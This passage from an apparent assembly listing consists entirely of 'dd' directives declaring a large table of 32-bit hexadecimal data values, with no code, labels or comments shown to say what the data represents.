1A8920F4h, 7E7F6B02h, 0F75EF507h dd 0EE24E9DDh, 0F84611F2h, 0FF69EF48h, 132D8C84h, 2B68307h dd 0ED4DFAEDh, 6B992430h, 0D10F1357h, 10148A06h, 3DA2BF04h dd 0A9832D97h, 10D05A6h, 94D7E9F8h, 806DA933h, 8D2A86C1h dd 0C30CC131h, 316D5226h, 1A95FB3Ch, 14090C08h, 4C16C02h dd 5380F5D9h, 0F2AE2BBh, 0A529029h, 0DC16BFCBh, 0CF843A8Ch dd 0F8034F88h, 0FC962C2Fh, 0DC276AEh, 305A011Dh, 30E925D0h dd 274ACDA4h, 0B90567CEh, 42D02AAh, 551980h, 4D49D4B8h dd 40F87Eh, 0F74E5C26h, 239805D8h, 0E92FF104h, 0B88D2C54h dd 8F4B5C28h, 9E937EFh, 324C5209h, 0E8137415h, 8CF61E44h dd 6527E69Ch, 0EDAA013h, 3457055Ch, 0E8657C6Ah, 24010F1h dd 0E9C82159h, 66B5689Eh, 24440781h, 772CA502h, 16BD9155h dd 0A172F632h, 61C17CF7h, 0C53020Eh, 0C8AE9BFAh, 8021CCE9h dd 0EFE4D588h, 6BB4B2C4h, 0A23C42FDh, 3411F910h, 0EC56B35Eh dd 55585B04h, 4A4EDA82h, 8169005Eh, 6D7F3h, 6851629Ah dd 7A701EE5h, 0BC4D1B90h, 6B75529Bh, 6764488Eh, 0B850801Ch dd 0C40B3600h, 79EF0D3Dh, 403A09FCh, 5510E0E9h, 2C488B54h dd 6B76C413h, 99A2EEB8h dd 52C1B0D8h, 4A443A4Ch, 68CAD542h, 2653F3F6h, 12155B5Dh dd 0C1CDC470h, 7C61C107h, 4BA4D435h, 680F3185h, 592F80A5h dd 325BDA89h, 5F80D001h, 0A0BC74D1h, 3C33254Dh, 0D53F3B90h dd 0F9B09A97h, 96654927h, 63A11227h, 10A8A4C4h, 0B5C4A6C6h dd 13A8B53Ch, 5BF40B17h, 5C0240A3h, 66B86812h, 78C98FCDh dd 0C0D2F600h, 0A05E237h, 67F9ABC3h, 497142A1h, 0B8BEC814h dd 0F821D297h, 0A56CBBC8h, 448452C9h, 0FA6A84Eh, 0C2D830ACh dd 0FA6C7A68h, 0ECB11695h, 12DD1680h, 0DE58F469h, 0B2B05B76h dd 0E6EF8107h, 819FA42Bh, 3055E9FAh, 0BDD8279Eh, 1AEC74CBh dd 628373C1h, 0C5CBEDEh, 6A84129Bh, 16390452h, 0E971433Fh dd 1B4B31C0h, 5CCAEDC2h, 32FF5032h, 0BC8B1090h, 0FF5549ABh dd 13A12662h, 4104EB01h, 0EEC8D103h, 0E8BE8487h, 0CA23E942h dd 53FB6ABAh, 0ACE98F38h, 9ECFFD79h, 0E4D25593h, 65A3CC53h dd 0E7D7F50h, 1199D71h, 83810D6h, 0B7EDE918h, 1A9F02B8h dd 20145270h, 5B03DE67h, 0D028C004h, 0C89A62Ch, 0C340E95Ah dd 80B08320h, 0FB7B1B80h, 76485383h, 0DB82662Fh, 0C02BC067h dd 0E752CC92h, 0E009389Dh, 36B05002h, 60FEBF0Ch, 80178A71h dd 0E1ED72Dh, 208C1A0Bh, 35F1470h, 815AD329h, 2DA12CE3h dd 0E50C8907h, 43350519h, 3C3290D0h, 490B9D2Bh, 0C955E56Ch dd 2C833082h, 732B5F03h, 705E7C1h, 0BD26A012h, 4BCFF14Fh dd 2006F92Dh, 59581485h, 22419E91h, 0EF015D77h, 0C553F5F4h dd 80D1F71Ah, 0D3731286h, 0B80C0263h, 58A0B33Eh, 21921589h dd 20FB959h, 0F22A4B66h, 5200D6BAh, 2D60EED4h, 5AB852D4h dd 77C1013h, 4F8EE912h, 49C968E8h, 0B1D6672Eh, 0EADE89Fh dd 0C10C15C4h, 64D69DFDh, 187AD43Ah, 315C1F93h, 0BA52C30Ch dd 90012F2Ch, 884554C7h, 30567753h, 0B90E6F79h, 2B2D37D1h dd 5A4CC202h, 0D2FE7113h, 3EF306DBh, 0EE0285D2h, 7DA81641h dd 0AC07E15Dh, 262202F8h, 0A744F6E9h, 115852A2h, 9035FB72h dd 34241AB9h, 8A4FED56h, 26510CC8h, 63BB897Dh, 6EDC1307h dd 0FBA96865h, 80565284h, 9079C1Fh, 0CE48337Dh, 69C05A6Fh dd 7B537B6h, 5AF528A6h, 0D1A8D453h, 70D3F72Ah, 3312966Ch dd 12013CBBh, 0C78F43ADh, 8983092Fh, 0EED16D80h, 0C10CCE81h dd 0C62500Ch, 0EF4907A6h, 0E7DEF768h, 75BE7F6h, 0BCC6E038h dd 5C51F933h, 308920F6h, 28251F70h, 9D08B810h, 33B0462h dd 0C205E9C1h, 57485AC9h, 0D1B0E589h, 0A258DF2Eh, 0B4B9C344h dd 3FE38F24h, 20B8E796h, 9178D46Eh, 0DD896707h, 0C539315Bh dd 1696267Ch, 0E14BC9FCh, 584C643Ch, 2C28316h, 91C4B8C7h dd 0B902BFBCh, 16D70F7Bh, 0EC31D2F2h, 65041AC5h, 373143C9h dd 2525D5F5h, 0E99C9F43h, 0C4310523h, 59C53F7Ch, 0C592B950h dd 0BF8C324Fh, 0CAB10051h, 0DAF692B2h, 158C280h, 99C74A70h dd 261478D6h, 44F1300Eh, 0F130E850h, 958546E9h, 0B85AD701h dd 94EF0E88h, 5E516441h, 41F5A2A0h, 7464406Ch, 7D4AD610h dd 34C782C0h, 982FF25Bh, 64E34h, 98FB2B6Ah, 1F9E2917h dd 68E801C0h, 521359BFh, 206E5480h, 664DE909h, 4025C2h dd 0CC435F5Fh, 72350B15h, 0FF8017A8h, 6ABBE9C7h, 348290BEh dd 4231811Ah, 890A4A0Dh, 260D8236h, 54304215h, 7C05627Dh dd 30797FE1h, 4B75E23Eh, 8E048097h, 606EFC1Dh, 3DBDE653h dd 22ED17E8h, 95FC211h, 91D47DEh, 0C8D3F675h, 52E6E22Dh dd 8F85CFF1h, 2637B292h, 5C921957h, 1754D754h, 0AE1F7758h dd 9444DBCBh, 0EA8327FDh, 0E9251DC4h, 30D960CBh, 9001F254h dd 735A489h, 0A660E3C9h, 65D8B23Dh, 80E1FF54h, 3EB0EBh dd 0E9DAB19Ch, 13AC23C5h, 0EDB687F6h, 485F3317h, 41A5C66Eh dd 3CC0C5ABh, 104C5ED1h, 528B579Eh, 4420CD44h, 0DDF62E53h dd 971E2C34h, 0FC1C7466h, 57B044B5h, 944336B7h, 30A5AC4Fh dd 0C494EA1Dh, 4349F225h, 26809D50h, 5EA170CAh, 33B44479h dd 7C010648h, 3A23949Ah, 0BA506A05h, 28080114h, 0E1436E21h dd 0D9EE0344h, 1A6066DDh, 0BF3013F5h, 82FB05Bh, 0DC9BE916h dd 16B60531h, 68506480h, 53387B2Ch, 0D8055802h, 41ACC784h dd 406ACBABh, 3ED81ECh, 6C7D4217h, 33F9B6A2h, 26ADBCh dd 21FCB8AFh, 530248CAh, 9F73234Dh, 7C198A31h, 0A4226042h dd 14B2A12h, 9184DEBDh, 651BE971h, 3EF5401Fh, 7D0FCF19h dd 0DFD7295Eh, 0EC785050h, 89E75EF4h, 6D694D49h, 0CD2DE6h dd 7E1BBFB2h, 0FF21487Dh, 773AE707h, 5803984h, 2004761Ah dd 0AFB0123h, 9790FCE9h, 0D069A25Eh, 4FC5C0F7h, 76690323h dd 394A201h, 0DAE95808h, 457D930h, 0C3B55159h, 0D590DD8Dh dd 5BBE5CE9h, 0EDBE794h, 1FA51DF9h, 0A90DF64Ah, 8A546581h dd 84EF5570h, 0B688EB0h, 440B1CDCh, 28C2C880h, 0BB04F4E3h dd 148BD389h, 0E90AABCBh, 9DACEB5Eh, 0F13083C9h, 0E1E14966h dd 0BD1881B5h, 0DB408E3h, 9F2D1E58h, 2C89F938h, 1204AB9Dh dd 0D0CA0224h, 0C4DE92FBh, 1D2940D6h, 13B31BD3h, 5B7F317Bh dd 967BA1D1h, 0ACC4F1A9h, 52A25298h, 58290A6Dh, 1A5E08F3h dd 0F3835A0Eh, 3C8180D4h, 0E80552A1h, 0BBC95E63h, 8CBE0894h dd 35077C9h, 837298BDh, 0A74CD9EDh, 575A3884h, 0EF5CC9F4h dd 6BD12E5Bh, 0F0B96204h, 5258515Ah, 82125A0Fh, 685B3370h dd 303BED63h, 2459875h, 0CD814B00h, 168A55D9h, 0ED642DE9h dd 0FCF7FBE9h, 391FA685h, 0B97FB89h, 265FB27h, 59C67C04h dd 0C3A7E0ECh, 993B678Eh, 5257EE54h, 3178DF21h, 0B48A298Dh dd 6D133F1Ah, 1F615801h, 21003B50h, 2A0C67E4h, 845EF301h dd 6EAB83E8h, 1A8E3958h, 0D0DD45B7h, 2DD87ADCh, 0C81CD797h dd 2B9AE3FCh, 0B12D665Eh, 6BB430B2h, 5F76D6D0h, 0D396D35h dd 0E7191921h, 9ACA5038h, 1C770138h, 52CF68E9h, 874B5840h dd 86A0D1E2h, 28D7C580h, 5BCFD7E7h, 80D0EF8Bh, 0FDE3F562h dd 12D90AB3h, 56C08051h, 0B4149E68h, 108885C5h, 12CC649h dd 4042086Bh, 0C83B6602h, 2ADC39Ch, 0F12C2D45h, 117EF7DAh dd 0CC84C225h, 0DE9161Ah, 0C828E21Eh, 4DB59A14h, 0C007D504h dd 0D33B6134h, 0A7210B25h, 5F6367E9h, 0ADC3B02Eh, 176F0628h dd 305BDF31h, 1E79130Fh, 9AF2E01Fh, 0C025E172h, 265A670Ch dd 0D0BA31DFh, 4FA3FD4Ch, 0E90BDF8Bh, 877919FAh, 0E7B7EB45h dd 76837E55h, 455077F3h, 1455D3CAh, 0F1A2A058h, 92B88025h dd 47F45813h, 1209D08h, 144186BDh, 4DF22070h, 0B3A8282h dd 8F66011Dh, 105E6102h, 0C2895A8Fh, 80B6B09Dh, 8E44836Ah dd 6540E165h, 7DEE0BBEh, 0AEE84F82h, 0DDB22988h, 889D016h dd 3F7C0204h, 515638AAh, 5CE18937h, 4BA54A40h, 0CD7B37E9h dd 565638Fh, 288F2B50h, 0F93168E6h, 2AA58778h, 8980743Bh dd 258DFD73h, 0CE1E803Ch, 89C00C09h, 0EC4A1F2h, 8876B600h dd 505AF313h, 0E93CCECAh, 865DC1CAh, 105168D1h, 0B40BE784h dd 0C988665Dh, 0EFF10391h, 0A24D9F6h, 0A82ABFFEh, 0D88EC094h dd 80C7CA5Bh, 0D3284759h, 530F164Ch, 41FE7511h, 2C2F57BBh dd 0B0C02A29h, 8A0473E9h, 93F5A7F0h, 2E5E31DDh, 9210992h dd 0AE4D4170h, 0C96879F8h, 3C005B10h, 26383B21h, 8E9E07F8h dd 987B581Fh, 50EEC4Bh, 173F1881h, 42417835h, 0C1023A95h dd 0B30845Bh, 0B24CA4Fh, 9EC0AFD2h, 0CA29171Fh, 0F020193Dh dd 981F5877h, 6EC28113h dd 895DA31Fh, 0FE18C095h, 0EF803BCFh, 2EF748F3h, 0C796F831h dd 0F06803FDh, 9A611D14h, 64632ED6h, 5A510BC4h, 9753C18Bh dd 0FA2AE942h, 46E54888h, 1133144Fh, 2C23B10h, 0A9112EB9h dd 307E077h, 3C0BB20Ah, 6326C788h, 5778B054h, 0C6D2DE78h dd 586F1EAAh, 52851803h, 82B02C27h, 584DE9B6h, 59179875h dd 8E696BB1h, 64314D61h, 71406125h, 0B8DCFD29h, 88619349h dd 0ED97CA8Fh, 1C61DC99h, 8B9859ADh, 0B34F0F66h, 233B554Dh dd 1BD892Ah, 30C909C6h, 0F85B1FFAh, 1DC74A74h, 70F2E074h dd 12054E78h, 28D8D95h, 0EFC56F8Ah, 33A46127h, 60B3103h dd 0FAF4BCE9h, 81581CA6h, 637EC7EEh, 0BB94E22Fh, 927827C4h dd 26628349h, 49077FB8h, 86DF897Fh, 0EE6D34E6h, 723D1E36h dd 1548C97Ah, 869AE456h, 2C36548Fh, 0DF8047D1h, 0A3B46826h dd 0B606E09Ah, 5AF12059h, 0ECD07320h, 3A286FA4h, 24C2C32Ah dd 1FFF0833h, 0FFB5A997h, 70F09345h, 0D7B09DACh, 6881365Ch dd 588A6430h, 4712BD4Ch, 79D5DD41h, 20615E8Fh, 525061DCh dd 7429BAh, 7BB8270Eh, 3147193Fh, 0C43F0995h, 92E916BDh dd 3D39027h, 484A6F6Ch, 487A9BA0h, 0BD8473FBh, 36021DDEh dd 6BC2D586h, 6569C4Ch, 9F21CD39h, 1C5FFA27h, 255A480Fh dd 58116293h, 37004889h, 59A5BD55h, 45390300h, 0FC68DDF7h dd 266EA46Ah, 126C2218h, 0ED2BF009h, 0FDA65608h, 2934B4DFh dd 5C77E49Bh, 0D46271BEh, 0E5C00044h, 0B0075005h, 7BB7532Bh dd 0E903EF90h, 89FD4BD2h, 7C9CE1C3h, 925D28B1h, 97555E49h dd 0FE66948Ch, 69089FF1h, 0E4A08B3h, 0FED05C1Ah, 62EF597Ah dd 0F0C30235h, 622FF134h, 4EE6205h, 25EC5908h, 467591D6h dd 42765960h, 0CF48B269h, 0B4ECEEB5h, 0E5EA282Eh, 0C0C3B91Ah dd 3E092658h, 0F1273D9h, 41444522h, 7E6E2AFh, 2B0B7FA6h dd 981935C6h, 0BF1D3216h, 0AB60E725h, 3BB03C24h, 20FB7505h dd 0B0C42128h, 905BF9BDh, 81B951A9h, 67B27D0Eh, 0A24F0BE9h dd 0C0461A31h, 0F8E80107h, 0A383FDE2h, 4E6C166h, 6CFB81A4h dd 0C60A8746h, 1E3699Ah, 0FB8C24F5h, 539291h, 95201D1Dh dd 0EB6E897Ch, 39CE63E4h, 0DCC3CD80h, 2EF3C804h, 9A1077Fh dd 0CB5BD921h, 4246640Eh, 0BD9C78B7h, 921848C9h, 25772413h dd 0F5818049h, 6DBC754Fh, 16E5C124h, 0E4279E0Bh, 95AEEEB0h dd 2E539419h, 4AD7CC90h, 984650DDh, 997A2EE6h, 51203BB8h dd 7390F298h, 56AEF06h, 0F0C4CB2h, 6E55D04h, 7384CFE9h dd 58AEA3D6h, 0C944EBFh, 0F5879B06h, 44CE4806h, 8C8D13Dh dd 5BCB8F10h, 37BA2084h, 0C1FB9411h, 1107236h, 5BDC4E58h dd 0BCFA92EAh, 75EB46B6h, 22645D4Ah, 5C121CE7h, 19AFA4FEh dd 8A4085AAh, 0C873EB80h, 66480EEAh, 0E9750DB9h, 0BAC45877h dd 9F32E19h, 0B6E709B0h, 59F7EDA0h, 5B76FC28h, 8835EC06h dd 0B03E58E2h, 11D22555h, 0F524C5D9h, 0BE344110h, 0CEA9019Dh dd 3EF58955h, 5EE30Bh, 43566BB7h, 609536h, 827F1494h, 944295Dh dd 0D3CD015Eh, 9273A020h, 397EDDBCh, 0D238344Eh, 2CC896ACh dd 6D12DABDh, 180120E2h, 4E2C31D2h, 1F355730h, 11B430Eh dd 582EA6E5h, 0A724823Bh, 0DE686F1Eh, 5BED016Eh, 38455CC7h dd 0F9925FFh, 0DF1A0C0h, 986CB57Eh, 116202DCh, 0DEF75F82h dd 0D1B2DD82h, 0EC545002h, 49469CA2h, 3F51E10h, 36C79895h dd 496680FCh, 1B0B690h, 3112AD77h, 0BF4559CEh, 0CB856E7Ch dd 7FD0EA50h, 0C54E7BF0h, 5356EF70h, 1A690468h, 835B630Fh dd 0F5E6DBEh, 0A3642912h, 318848B8h, 13C73B95h, 0F387A668h dd 53E0CBA5h, 17F79059h, 0BE624EBh, 9DF89A92h, 0C7BF2095h dd 0E5148027h, 0D78AB3F9h, 27E04C01h, 6E60F5AFh, 0E0E96F9Ah dd 8110665Ch, 47D156BBh, 8414569h, 61A70C82h, 1A4137D5h dd 0A9CF74EFh, 0EBFBAC60h, 4A346D80h, 6F15A06Ch, 0FB20D14Eh dd 3E373DBAh, 93BE11C1h, 0EC639DCAh, 7A92E58Eh, 2C0AE74Ch dd 33960A7Eh, 5225FCA3h, 0F15CA805h, 0F130E483h, 5AC14FC0h dd 90BBFADCh, 84596F60h, 97292650h, 1FF4E128h, 5F074794h dd 0E482D389h, 28DE94AEh, 354C5468h, 0A9734CE5h, 66031614h dd 5B8938B2h, 31914BC6h, 0F63C8B42h, 3A45EB4Eh, 48095C89h dd 81ABFB40h, 58540189h, 9240BB20h, 68551CF2h, 6AD089A0h dd 3120675Ah, 22BA4F51h, 0D45616D2h, 18065416h, 5C55D7E3h dd 844BDFCAh, 3167BF68h, 346A68h, 53AC64D7h, 0EA70CD81h dd 6408332Fh, 52F50138h, 0E95BA15Fh, 380725AAh, 0D4BEA0AAh dd 322F2C40h, 48850367h, 0E6B0496Dh, 7D257FE2h, 0C0A24314h dd 41A46564h, 5BFAE452h, 7275AD5Fh, 0E9C298E8h, 1257BE97h dd 0AB80C263h, 48AA59ECh, 5FFEE3CBh, 25E9E909h, 0B17939h dd 0B45040B3h, 0F40180B7h, 0E9E33088h, 3BA60BE8h, 244249Dh dd 0A0D6C1B1h, 8F780F57h, 30EA61F2h, 0B8416A7Fh, 3850B850h dd 0B78758C2h, 0E0ED6598h, 1352BE81h, 5050F6F1h, 0C15A6BE9h dd 4179693Ch, 57BC43F6h, 0F3FC27C2h, 0D0195B1Ch, 0E76C5A33h dd 636828A2h, 0D9A1D830h, 0CAA91402h, 1AC6E90Bh, 0A4BC2651h dd 0C0AF20C3h, 82B22F80h, 0CCACA057h, 9F3E0D70h, 0ED602B8Eh dd 0B6DFE906h, 8E023391h, 7419963Bh, 0F089614Ah, 37492E5Eh dd 9C8AF0DDh, 0EB294497h, 13F4AF1Bh, 47AA6EBBh, 0D43FEA16h dd 393F869h, 959C821h, 0CAB6D2C2h, 1353E518h, 6675B45Ch dd 12161E9Fh, 314E0E68h, 0E8505260h, 8A091F61h, 7E97583Ch dd 48C04E79h, 75E09F35h, 0C289C313h, 4B7B54CAh, 943F34D6h dd 0AC29AFFEh, 0E939A172h, 4C7E688Eh, 12A253F3h, 420C0AFBh dd 379AADC2h, 0E1972455h, 7D872995h, 64D0CE74h, 5A9F840Fh dd 28F14B33h, 55529F91h, 0E64609DEh, 173C85D1h, 0F5E24AC7h dd 8712478h, 0C185960Fh, 5A9AB30h, 703DB082h, 99BE0332h dd 4639CD6Fh, 0E15E5616h, 0AFF18D2Dh, 915C1535h, 0CD584BC1h dd 4F3A63F8h, 4AF2298Ch, 7814F251h, 3958259h, 8AFED80h dd 0BBAE25E8h, 0EEB9C7EBh, 1283F57h, 310D4059h, 0D764FA72h dd 28C24F08h, 445609CEh, 84DED669h, 0CC48EE68h, 144FE9FFh dd 72AD7713h, 0C8D783CEh, 0E8672700h, 0D921CB55h, 59C60768h dd 464C81EBh, 304A5FDBh, 6509CE53h, 542949E2h, 0AED98092h dd 0D1314BB4h, 1D9FF6C6h, 54F302D5h, 9B88BB2h, 6A612CE2h dd 4E5901D1h, 2EEBA70h, 0F5E7CD72h, 5FF289h, 4B0DEF05h dd 12D3900Fh, 4992E905h, 9BD95DAFh, 0C0C25045h, 619B5F63h dd 362F3FC9h, 149D2EF1h, 0DE875007h, 7AE022Bh, 4CCC4658h dd 313AA1C1h, 0E4A5347Dh, 0A3CFFCA2h, 7E9E0556h, 882BD332h dd 0CD128632h, 290CD42Ch, 37E82B5Ah, 0C2AF5966h, 49072EA1h dd 0A03D0F62h, 0E81DF58Eh, 0C8CF4EF7h, 0DF7D0166h, 30C8EF00h dd 835B3920h, 31025FC7h, 3AF1F6AFh, 68CC4A01h, 9E3847FBh dd 85C113C9h, 0F75FF429h, 0C604DB6Ch, 0E8A51817h, 1994602Eh dd 71020C32h, 0D10889C7h, 0FA0BA7F9h, 8AA0ECCCh, 7A011B99h dd 640DBB1Eh, 0D13A0C91h, 2FCB7F66h, 6814BB90h, 4A667BDFh dd 0C1CDC03Ah, 0F70002E2h, 85CA81D2h, 90750319h, 999B0920h dd 8704FD6Bh, 0D0F60128h, 0E740E0C0h, 0FC4134EDh, 0CA0E4F54h dd 89382D7Ch, 0DB52336Eh, 32755E2Ah, 2E5FD21Ah, 98A74941h dd 933A2845h, 0C250077h, 0E2815E3Fh, 0FD173905h, 0DCC4E974h dd 52269EF2h dd 0E3C51382h, 769D9FFDh, 7FFDB020h, 0F658989Dh, 5F00B7BFh dd 0D5F6CDFEh, 1BC58000h, 5259EE88h, 51663BB2h, 0D93DD1BFh dd 8005DCD8h, 81FEE8C2h, 7B12E21Bh, 22399931h, 0BB420102h dd 0B304158h, 0BCF6791Ah, 30DB2C7Ch, 21470E6Eh, 9E0C43CCh dd 7CAD263Ch, 1852CE05h, 0EC071C03h, 4F614D8Fh, 0F7E8E0C1h dd 92D02D8h, 31CA85FAh, 5E96A477h, 80F41FAAh, 4A8655AFh dd 550D801h, 222DE907h, 0CA871B40h, 2E985020h, 256D315Bh dd 3EEFF168h, 42250A26h, 2C12CA10h, 68426082h, 0ADA655EDh dd 0C039B516h, 0DDF6DE05h, 48A2A410h, 4B6E39E7h, 297B9889h dd 81643EBEh, 5ABD4581h, 5384BA2Ch, 0DFF7CCBBh, 6FCF5B4Ah dd 40627550h, 0A8B25FBAh, 68621691h, 25B25CC4h, 700BCA45h dd 969BD9AAh, 0DCB1745Eh, 0A65D45AAh, 0F389DEC5h, 58445617h dd 2AEDEB83h, 0DAE93661h, 7AE64B65h, 9654F07Bh, 0DC7E1CD5h dd 814D401Ch, 8F0A33EDh, 0D53EF7FEh, 0BB1F27E9h, 0A447DA24h dd 9C81B8E7h, 16211D43h, 22B6DF1h, 4BF168C4h, 52274A6Ch dd 2CEEDA09h, 40AFD303h, 467F57DDh, 0C70905FFh, 7AD68056h dd 3D01556Fh, 0D98F5EF1h, 0CAE3E981h, 0ECAAB1FAh, 1B3DE17Ch dd 750AA5B8h, 280D01C8h, 8BE82939h, 213672Ch, 0EA03A62Dh dd 0C7845E41h, 5F12B8F0h, 9FB2F0ECh, 4C251E76h, 5E818248h dd 0F92A6F60h, 0E8D2BC89h, 50B85D2Ch, 0A727E902h, 0F342C826h dd 0BB0E0BB5h, 22B8CB01h, 95BD5860h, 93E9069Fh, 0F3391D0Ah dd 0C9098741h, 48D6DE89h, 17879991h, 881981C7h, 0B4C241E3h dd 2D6600E1h, 685C091Dh, 0B31B0DC9h, 433AB9E0h, 0DC6030E9h dd 0C57363Dh, 14031BBFh, 25C930EFh, 1D9DCF0Ah, 0F7F847FCh dd 0C714DF63h, 1A285F5Eh, 6CF80871h, 1E2D120h, 1C2DF801h dd 2E3F230Dh, 0C64C66CAh, 0D0F70601h, 0F013CD35h, 0D8040566h dd 1209ADDh, 5EF545D0h, 5DEB0121h, 850FDB09h, 5573244Ch dd 0B9045275h, 3EC54E6Ah, 774F2BF4h, 18257E19h, 8DB6A9E9h dd 560157EAh, 5C463368h, 29705E21h, 9DD3B208h, 5ED9A90Bh dd 0C82CE962h, 945E5B1Ch, 6CA56FA0h, 0DA59B2A4h, 579475EAh dd 16D594B5h, 0E347C168h, 4E971ABh, 1B252AFh, 0EBBE7757h dd 9ADC208Fh, 0C170B09h, 8009F029h, 5F895B08h, 214831EFh dd 4A447FF9h, 7FF9FA6Dh, 90CCC4Ah, 10E5C849h, 56C9262Eh dd 45FAFAFEh, 1896A4B5h, 5FF8455Bh, 56ED429Fh, 0DE0BE995h dd 0BD744389h, 52A6F281h, 706567F9h, 0E7B4913Ah, 146E23B7h dd 27B8DC88h, 0C2676834h, 11121733h, 6380B19h, 69F43683h dd 3A637DB2h, 0B7390485h, 885801D4h, 0D0E5870Ch, 779B538h dd 0E3C0CBFEh, 80C35003h, 427CCF3h, 2E7BF082h, 6906FCA9h dd 0FADFA90h, 86824A81h, 0B99CB7CFh, 6804B0FEh, 74E865AEh dd 0B1D8E892h, 8A38215Dh, 40FAE982h, 0B945AF4h, 0D4100BEh dd 77380A9Dh, 919248h, 7B0807E2h, 59800540h, 500CB109h dd 95A36C5Bh, 3D085C4Dh, 0F834034Eh, 0ECF9F02Ch, 2E426202h dd 0D51E45B2h, 0C5285A05h, 4125E6F9h, 95B72A58h, 9FBE3033h dd 4803051Ch, 0AD107735h, 0F391BF33h, 0DE308457h, 85132E03h dd 0C3E50149h, 6C68961Dh, 0FD7B09BBh, 2795FE19h, 81A13FE1h dd 1240BB7Bh, 7A3C2187h, 0CE90049Fh, 18D5ACECh, 0F85EF329h dd 98747A45h, 5C7D020Ah, 0CD317294h, 2C504962h, 0A8B2594Fh dd 68F79892h, 0E1D1C34Eh, 0AB2C2FE2h, 0A4E5A8B4h, 0FD05C1CCh dd 28308C6Ah, 315CB192h, 58A660A6h, 0C1513B6Dh, 947E1252h dd 0C2CDD809h, 5FB6283Eh, 4FDB7020h, 0E99F13D8h, 68558189h dd 449D3EBBh, 0DCA530h, 8177E453h, 5B1ED8F6h, 70DF1348h dd 9B40B316h, 743B00E1h, 0CBB1C780h, 8F49836Eh, 1BA130D3h dd 1F66F9F2h, 1D427557h, 2548673Ah, 0FB049550h, 5AD001C8h dd 0C0CE1DA1h, 4D0968E6h, 0CD80743Eh, 0E9217376h, 0E6A82F2Dh dd 0A65C4BF6h, 20C99F3h, 0F24F653Eh, 0E95381DEh, 0FB68CF0Dh dd 1FD968E0h, 8B39B21Eh, 8549892Eh, 0AA41E3D2h, 32227938h dd 0A13C9078h, 0E135A316h, 3ED3005Fh, 6C5FD81Ch, 0CC3CB4C3h dd 0E6C15A01h, 96B44003h, 9F0B530Ch, 585EF231h, 0D1215AF3h dd 2A79E9CBh, 0A2EAD743h, 0DA789330h, 9FF0F858h, 2720FC66h dd 31D6982Ah, 3A175F86h, 105B3D30h, 7350B9CBh, 0B46D1290h dd 0A6020112h, 835F785Bh, 841C5890h, 8A22D25h, 7F336BA0h dd 789E50FCh, 65217E00h, 6705E0C1h, 53020840h, 7DCA0E52h dd 914CE7ACh, 3092F00Ah, 5702ED21h, 0E9B039E9h, 77EC533h dd 745058F9h, 0E756EFF8h, 0B246E08h, 4545C501h, 1011FB27h dd 30C745F5h, 3E5FC7DAh, 75688A20h, 9D84A921h, 6EB78F51h dd 95BFDC0h, 6659E830h, 0B447BC85h, 6417B51Bh, 39A0CCE9h dd 0D6EFC05h, 0D82913ADh, 0E908007Ch, 0EBB5370Fh, 6A4B9BBh dd 5F24902Bh, 1B4E8C2Eh, 1EF7D1A4h, 654A1056h, 4E7BB078h dd 3D3EE50h, 5B977591h, 4BD742Ch, 0FD4CA599h, 58218331h dd 0C2013307h, 5641BF57h, 403B2D6Dh, 62488823h, 352CE99Ah dd 9458A12Ch, 1C29256h, 0B15159B6h, 3CCE3063h, 0EB80A09Ah dd 0EAF3E0D0h, 74E9EAC3h, 81C49D7Ah, 9E275579h, 588FD158h dd 0DA5ADEE9h, 153079D0h, 9510501Fh, 1619E8A7h, 42DBE97Eh dd 7E5C1F9h, 504B9E40h, 7015BD2Dh, 96BF0454h, 0C5B60622h dd 1280B920h, 48ED70E9h, 605D1F11h, 0BE6656CCh, 620E7D86h dd 0B3E95D4Ah, 0D10EF5D4h, 92C6EAE1h, 68507FA6h, 3375626Ch dd 6B96220Ah, 0D961984h, 685BDAC0h, 8C765CCCh, 0D4A3E3D2h dd 0AEE91280h, 5B66D841h, 0D8E5352Ch, 71EFB754h, 893ED24Bh dd 6823C89Bh, 0B9B5DE99h, 0D1FE9737h, 49F39C2h, 59AB5EBFh dd 32681330h, 0F05B258Fh, 0A10702FBh, 3ED6E96Dh, 0D9433B7Fh dd 796DBBF8h, 7F9B40D7h, 13BB229h, 0D7346EF1h, 90580C09h dd 9F384267h, 0B62A34C6h, 0F2F5CC3h, 1BA425C8h, 2873FEB1h dd 0AABE9C2h, 9060B09Ah, 0C73F1A36h, 0F7DF2E12h, 0B5F622ADh dd 8359049Eh, 67F864E2h, 55FA4E73h, 48905C4Ah, 2DDF1097h dd 2B895D37h, 7F0285DEh, 42FE4107h, 96915544h, 2271DA09h dd 0BA26FC49h, 0AC873E00h, 59C83138h, 3AB9B0BFh, 0C15C80EBh dd 240EE831h, 36D16850h, 0C9EFEE51h, 4954647Ah, 0C4DB5B99h dd 464408h, 0F07D68BFh, 0DF48F727h, 53D61DADh, 42080113h dd 7C070305h, 90FF2ABBh, 2C770295h, 470BE92Eh, 0EC8EE8C9h dd 9FD482FDh, 81A5A408h, 8227D9C6h, 29C26A25h, 580885EEh dd 3D12D265h, 21CC0E54h, 2596BE0Ch, 82BC96A0h, 669DE72Dh dd 5B019869h, 0C446B2C0h, 39FF144Fh, 0D95C0190h, 5CDC2A47h dd 676795BBh, 0B2953417h, 44853491h, 0A05F06C8h, 2E6B81C6h dd 274C4F58h, 9A5DDC5h, 0AA460155h, 0C320557Eh, 31AE409Dh dd 0E849D294h, 0CB108852h, 80E2E5C7h, 7360CDDh, 1C03F83h dd 95FB6E19h, 7E45040Ch, 5740C2C0h, 87A27EBFh, 64F1FAF7h dd 84D877D6h, 122CFEE6h, 70553880h, 410FED0h, 0E954B550h dd 2A31A1D7h, 2E12678Ah, 22D46145h, 1BCD2F0Ch, 97523760h dd 8F111665h, 0A6E91562h, 5B6565DCh, 6F29A161h, 48525DE8h dd 3D4F8668h, 35B20C4h, 3A29CB41h, 85774B79h, 0C2B8B184h dd 16817889h, 2F87FE29h, 0EC172640h, 1F01EAD6h, 2D19E9FDh dd 0BA88D959h, 292D0249h, 1F60FB59h, 6082027Ch, 26351157h dd 9D37B75h, 0F4F45A87h dd 5EA86962h, 35715105h, 0ECC8044Ch, 2F8D5B8Bh, 6ED28D2Ah dd 37FBD384h, 9988312h, 0E388F714h, 29AD93B8h, 0E4605027h dd 3139D5F7h, 8FD36EFh, 95470BE8h, 0EBC057B6h, 7698C301h dd 0E46A80Fh, 0E9F30223h, 9F85F0FCh, 0E9855867h, 27BFD2B1h dd 91AC847Bh, 38C8B36Ah, 245C12A5h, 9D810664h, 292F1CA7h dd 0AC1D7F2Ah, 0C24B2EA8h, 0D3EF0D4Bh, 1855A91Dh, 542D1902h dd 75EA213Ch, 9D0B0801h, 5F8014Fh, 0CEC40744h, 